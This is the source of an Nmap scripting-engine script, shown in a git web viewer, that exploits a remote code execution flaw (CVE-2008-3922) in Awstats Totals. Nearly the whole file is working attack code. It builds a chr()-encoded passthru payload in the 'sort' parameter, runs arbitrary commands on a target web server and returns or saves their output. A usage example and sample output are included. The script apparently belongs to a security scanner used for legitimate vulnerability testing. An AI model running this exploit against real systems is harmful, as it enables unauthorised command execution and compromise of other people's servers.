summaryrefslogtreecommitdiffstats
path: root/scripts/http-awstatstotals-exec.nse
blob: ad4397ce96a3d5233414b43ab942ed7080830028 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

description = [[
Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
and possibly other products based on it (CVE: 2008-3922).

This vulnerability can be exploited through the GET variable <code>sort</code>.
The script queries the web server with the command payload encoded using PHP's
chr() function:

<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>

Common paths for Awstats Total:
* <code>/awstats/index.php</code>
* <code>/awstatstotals/index.php</code>
* <code>/awstats/awstatstotals.php</code>

References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
* http://www.exploit-db.com/exploits/17324/
]]

---
-- @usage
-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
-- nmap -sV --script http-awstatstotals-exec.nse <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-awstatstotals-exec.nse:
-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
--
-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
---
-- Other useful args when running this script:
-- http.useragent - User Agent to use in GET request
--

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}


portrule = shortport.http

--default values
local DEFAULT_CMD = "whoami"
local DEFAULT_URI = "/index.php"

---
--Writes string to file
-- @param filename Filename to write
-- @param content Content string
-- @return boolean status
-- @return string error
--Taken from: hostmap.nse
local function write_file(filename, contents)
  local f, err = io.open(filename, "w")
  if not f then
    return f, err
  end
  f:write(contents)
  f:close()
  return true
end

---
--Checks if Awstats Totals installation seems to be there
-- @param host Host table
-- @param port Port table
-- @param path Path pointing to AWStats Totals
-- @return true if awstats totals is found
local function check_installation(host, port, path)
  local check_req = http.get(host, port, path)
  if not(http.response_contains(check_req, "AWStats")) then
    return false
  end
  return true
end

---
--MAIN
---
action = function(host, port)
  local output = {}
  local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
  local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
  local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")

  --check for awstats signature
  local awstats_check = check_installation(host, port, uri)
  if not(awstats_check) then
    stdnse.debug1("This does not look like Awstats Totals. Quitting.")
    return
  end

  --Encode payload using PHP's chr()
  local encoded_payload = {}
  cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
  local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"

  --set payload and send request
  local req = http.get(host, port, uri .. stealth_payload)
  if req.status and req.status == 200 then
    output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)

    --if out set, save output to file
    if out then
      local status, err = write_file(out,  req.body)
      if status then
        output[#output+1] = string.format("Output saved to %s\n", out)
      else
        output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
      end
    end

  else
    if nmap.verbosity()>= 2 then
      output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
    end
  end

  --output
  if #output>0 then
    return table.concat(output, "\n")
  end
end